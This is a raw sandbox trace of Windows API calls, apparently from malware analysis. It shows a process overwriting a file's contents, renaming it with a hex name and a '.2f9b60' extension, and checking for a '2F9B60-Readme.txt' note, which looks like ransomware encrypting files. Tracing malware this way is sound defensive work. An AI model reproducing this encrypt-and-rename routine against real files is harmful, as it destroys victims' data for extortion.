(HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0136.431] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0136.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd975d0 [0136.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0136.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0136.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0136.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b82f830 [0136.432] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.432] WriteFile (in: hFile=0x1d4c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3121fb70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x3121fb70*=0x122, lpOverlapped=0x0) returned 1 [0136.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0136.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0136.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f9b0 [0136.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0136.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0136.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0136.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced8ad0 [0136.561] sprintf (in: _Dest=0x1ced8ad0, _Format="%c%c" | out: _Dest="94") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ad2, _Format="%c%c" | out: _Dest="20") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ad4, _Format="%c%c" | out: _Dest="f2") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ad6, _Format="%c%c" | out: _Dest="50") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ad8, _Format="%c%c" | out: _Dest="c2") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ada, _Format="%c%c" | out: _Dest="8a") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8adc, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ade, _Format="%c%c" | out: _Dest="de") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ae0, _Format="%c%c" | out: _Dest="21") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ae2, _Format="%c%c" | out: _Dest="a5") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ae4, _Format="%c%c" | out: _Dest="c5") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ae6, _Format="%c%c" | out: _Dest="bf") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8ae8, _Format="%c%c" | out: _Dest="21") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8aea, _Format="%c%c" | out: _Dest="76") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8aec, _Format="%c%c" | out: _Dest="1b") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8aee, _Format="%c%c" | out: _Dest="52") returned 2 [0136.561] sprintf (in: _Dest=0x1ced8af0, _Format="%c%c" | out: _Dest="71") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8af2, _Format="%c%c" | out: _Dest="bf") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8af4, _Format="%c%c" | out: _Dest="8b") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8af6, _Format="%c%c" | out: _Dest="29") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8af8, _Format="%c%c" | out: _Dest="bc") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8afa, _Format="%c%c" | out: _Dest="7f") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8afc, _Format="%c%c" | out: _Dest="76") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8afe, _Format="%c%c" | out: _Dest="66") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8b00, _Format="%c%c" | out: _Dest="5f") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8b02, _Format="%c%c" | out: _Dest="f8") returned 2 [0136.562] sprintf (in: _Dest=0x1ced8b04, _Format="%c%c" | out: _Dest="d5") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b06, _Format="%c%c" | out: _Dest="78") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b08, _Format="%c%c" | out: _Dest="d4") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b0a, _Format="%c%c" | out: _Dest="bf") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b0c, _Format="%c%c" | out: _Dest="bb") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b0e, _Format="%c%c" | out: _Dest="67") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b10, _Format="%c%c" | out: _Dest="6a") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b12, _Format="%c%c" | out: _Dest="c9") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b14, _Format="%c%c" | out: _Dest="9c") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b16, _Format="%c%c" | out: _Dest="a7") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b18, _Format="%c%c" | out: _Dest="36") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b1a, _Format="%c%c" | out: _Dest="f1") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b1c, _Format="%c%c" | out: _Dest="79") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b1e, _Format="%c%c" | out: _Dest="a6") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b20, _Format="%c%c" | out: _Dest="99") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b22, _Format="%c%c" | out: _Dest="0d") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b24, _Format="%c%c" | out: _Dest="47") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b26, _Format="%c%c" | out: _Dest="1f") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b28, _Format="%c%c" | out: _Dest="42") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b2a, _Format="%c%c" | out: _Dest="62") returned 2 [0136.563] sprintf (in: _Dest=0x1ced8b2c, _Format="%c%c" | out: _Dest="8f") returned 2 [0136.564] sprintf (in: _Dest=0x1ced8b2e, _Format="%c%c" | out: _Dest="73") returned 2 [0136.564] RtlInitAnsiString (in: DestinationString=0x3121fbe8, SourceString="9420f250c28a1ade21a5c5bf21761b5271bf8b29bc7f76665ff8d578d4bfbb676ac99ca736f179a6990d471f42628f73" | out: DestinationString="9420f250c28a1ade21a5c5bf21761b5271bf8b29bc7f76665ff8d578d4bfbb676ac99ca736f179a6990d471f42628f73") [0136.564] RtlAnsiStringToUnicodeString (in: DestinationString=0x3121fbb8, SourceString="9420f250c28a1ade21a5c5bf21761b5271bf8b29bc7f76665ff8d578d4bfbb676ac99ca736f179a6990d471f42628f73", AllocateDestinationString=1 | out: DestinationString="9420f250c28a1ade21a5c5bf21761b5271bf8b29bc7f76665ff8d578d4bfbb676ac99ca736f179a6990d471f42628f73") returned 0x0 [0136.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119990 [0136.564] RtlFreeAnsiString (AnsiString="9") [0136.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0136.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f9b0) returned 1 [0136.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0136.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0136.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118880 [0136.566] wcscat (in: _Dest=0x118880, _Source="9420f250c28a1ade21a5c5bf" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf" [0136.566] wcscat (in: _Dest=0x118880, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60" [0136.566] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60", NtPathName=0x3121fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799430 [0136.566] NtSetInformationFile (FileHandle=0x1d4c, IoStatusBlock=0x3121fc30, FileInformation=0x1b799430, Length=0xda, FileInformationClass=0xa) returned 0x0 [0136.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799430) returned 1 [0136.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293760) returned 1 [0136.639] NtQueryInformationFile (in: FileHandle=0x1d4c, IoStatusBlock=0x3121fbf8, FileInformation=0x3121fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3121fbf8, FileInformation=0x3121fc08) returned 0x0 [0136.639] NtSetInformationFile (FileHandle=0x1d4c, IoStatusBlock=0x3121fbf8, FileInformation=0x3121fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0136.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119990) returned 1 [0136.649] FlushFileBuffers (hFile=0x1d4c) returned 1 [0138.537] CloseHandle (hObject=0x1d4c) returned 1 [0138.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d420 [0138.640] wcscpy (in: _Dest=0x2050d420, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0138.640] wcscat (in: _Dest=0x2050d420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" [0138.640] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\2f9b60-readme.txt")) returned 0x20 [0138.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0138.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 Thread: id = 1979 os_tid = 0x11c4 [0136.097] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html")) returned 0x20 [0136.098] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html", dwFileAttributes=0x20) returned 1 [0136.098] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d50 [0136.098] GetFileSizeEx (in: hFile=0x1d50, lpFileSize=0x313cf660 | out: lpFileSize=0x313cf660*=16880) returned 1 [0136.099] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x41ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.099] ReadFile (in: hFile=0x1d50, lpBuffer=0x313cf5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x313cf628, lpOverlapped=0x0 | out: lpBuffer=0x313cf5e0*, lpNumberOfBytesRead=0x313cf628*=0x4, lpOverlapped=0x0) returned 1 [0136.237] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5f0 [0136.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0136.238] NtQuerySystemTime (in: CurrentTime=0x313cf520 | out: CurrentTime=0x313cf520*=132462177414838000) returned 0x0 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0xb3cb5b9 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x13f6b99e [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x518010cd [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x7189af86 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x7249d65e [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x522c01d1 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x762f1e45 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x70280556 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x2eb05e3 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x588a2b4d [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x4648f44d [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x5972efd9 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x57f0bb7b [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x4e918195 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x166bf239 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x13ff01f [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x165d4674 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x333771c5 [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x153f42cd [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x40001eff [0136.238] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x73e744f7 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x1e960f1b [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x63d47491 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x5611bd24 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x40af6c9b [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x2c02d23 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x48b3c450 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x24513b30 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x4115e957 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x72c0b32f [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x59bd2655 [0136.239] RtlRandomEx (in: Seed=0x313cf510 | out: Seed=0x313cf510) returned 0x231417e2 [0136.248] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.248] ReadFile (in: hFile=0x1d50, lpBuffer=0x203590f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x313cf580, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesRead=0x313cf580*=0x3c00, lpOverlapped=0x0) returned 1 [0136.337] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0136.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0136.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ccc1b0 [0136.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0136.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0136.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0136.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.339] WriteFile (in: hFile=0x1d50, lpBuffer=0x41ccc1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x313cf580, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesWritten=0x313cf580*=0x3c00, lpOverlapped=0x0) returned 1 [0136.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ccc1b0) returned 1 [0136.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203590f0) returned 1 [0136.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f9b0 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0136.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 1 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fdb0 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a140 [0136.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x1673a0 [0136.435] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.435] WriteFile (in: hFile=0x1d50, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x313cf630, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x313cf630*=0x116, lpOverlapped=0x0) returned 1 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0136.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4205a380 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3b0 [0136.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6b0 [0136.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6b0) returned 1 [0136.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0136.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c430 [0136.553] sprintf (in: _Dest=0x1cd9c430, _Format="%c%c" | out: _Dest="ec") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c432, _Format="%c%c" | out: _Dest="7f") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c434, _Format="%c%c" | out: _Dest="00") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c436, _Format="%c%c" | out: _Dest="c2") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c438, _Format="%c%c" | out: _Dest="88") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c43a, _Format="%c%c" | out: _Dest="ee") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c43c, _Format="%c%c" | out: _Dest="8b") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c43e, _Format="%c%c" | out: _Dest="f2") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c440, _Format="%c%c" | out: _Dest="e9") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c442, _Format="%c%c" | out: _Dest="c8") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c444, _Format="%c%c" | out: _Dest="e1") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c446, _Format="%c%c" | out: _Dest="2f") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c448, _Format="%c%c" | out: _Dest="92") returned 2 [0136.553] sprintf (in: _Dest=0x1cd9c44a, _Format="%c%c" | out: _Dest="6f") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c44c, _Format="%c%c" | out: _Dest="a2") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c44e, _Format="%c%c" | out: _Dest="23") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c450, _Format="%c%c" | out: _Dest="29") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c452, _Format="%c%c" | out: _Dest="a7") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c454, _Format="%c%c" | out: _Dest="90") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c456, _Format="%c%c" | out: _Dest="03") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c458, _Format="%c%c" | out: _Dest="14") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c45a, _Format="%c%c" | out: _Dest="75") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c45c, _Format="%c%c" | out: _Dest="fd") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c45e, _Format="%c%c" | out: _Dest="e5") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c460, _Format="%c%c" | out: _Dest="cf") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c462, _Format="%c%c" | out: _Dest="43") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c464, _Format="%c%c" | out: _Dest="46") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c466, _Format="%c%c" | out: _Dest="44") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c468, _Format="%c%c" | out: _Dest="c0") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c46a, _Format="%c%c" | out: _Dest="69") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c46c, _Format="%c%c" | out: _Dest="6e") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c46e, _Format="%c%c" | out: _Dest="89") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c470, _Format="%c%c" | out: _Dest="41") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c472, _Format="%c%c" | out: _Dest="3c") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c474, _Format="%c%c" | out: _Dest="0b") returned 2 [0136.554] sprintf (in: _Dest=0x1cd9c476, _Format="%c%c" | out: _Dest="b4") returned 2 [0136.554] RtlInitAnsiString (in: DestinationString=0x313cf6a8, SourceString="ec7f00c288ee8bf2e9c8e12f926fa22329a790031475fde5cf434644c0696e89413c0bb4" | out: DestinationString="ec7f00c288ee8bf2e9c8e12f926fa22329a790031475fde5cf434644c0696e89413c0bb4") [0136.554] RtlAnsiStringToUnicodeString (in: DestinationString=0x313cf678, SourceString="ec7f00c288ee8bf2e9c8e12f926fa22329a790031475fde5cf434644c0696e89413c0bb4", AllocateDestinationString=1 | out: DestinationString="ec7f00c288ee8bf2e9c8e12f926fa22329a790031475fde5cf434644c0696e89413c0bb4") returned 0x0 [0136.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20506590 [0136.555] RtlFreeAnsiString (AnsiString="e") [0136.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c430) returned 1 [0136.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0136.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3b0) returned 1 [0136.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fdb0) returned 1 [0136.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a140) returned 